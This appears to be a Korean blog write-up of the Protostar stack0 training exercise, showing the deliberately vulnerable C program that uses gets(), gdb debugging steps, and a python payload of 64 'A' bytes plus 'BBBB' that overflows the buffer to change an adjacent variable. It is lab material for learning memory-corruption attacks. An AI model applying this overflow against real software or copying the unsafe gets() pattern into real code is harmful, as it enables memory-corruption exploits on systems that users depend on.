HACKING/[SYSTEM HACKING] PROTOSTAR
001. protostar stack0 | anxi0
ANX1Z3R0
2020. 8. 4. 20:33
[ stack0 ]
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
modified 영역을 변조하라는 듯 하다.
stack입장에서 modified가 먼저 선언되어 위에 buffer가 쌓이므로, buffer를 길게 늘어뜨리면 modified 영역을 침범할 수 있게 된다.
buffer를 딱 65개만큼만 넣어보자.
gdb로 프로그램을 깐다.
gdb -q ./stack0
(gdb) set disassembly-flavor intel
(gdb) disas main
저기에서 입력값을 받는다(gets 함수)
bp(브레이크 포인트를 걸고 동작을 함 살펴볼까)
(gdb) b *main+24
(gdb) run
C언어 코드에서 분명 modified에 0으로 초기화하고 시작하기 때문에
눈치껏 esp+0x5c가 modified가 저장된 위치라는 것을 알 수 있다.
함 까볼까
(gdb) x/x $esp+0x5c
음 맞군
이제 한 번 입력 값을 넣어볼까
gdb에서 shell 명령어를 쓰면 쉘에 접근할 수 있다.
(gdb) shell python -c 'print "A"*64 + "BBBB"'
요 녀석을 복사(ctrl+c아니고 ctrl+insert)해서 gets 부분에 붙여넣자(ctrl+v 아니고 shift+insert)
(gdb) ni
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
(gdb) c
ni는 next instruction의 약자로, gets가 실행된 상태로 뛴거다.
변조 성공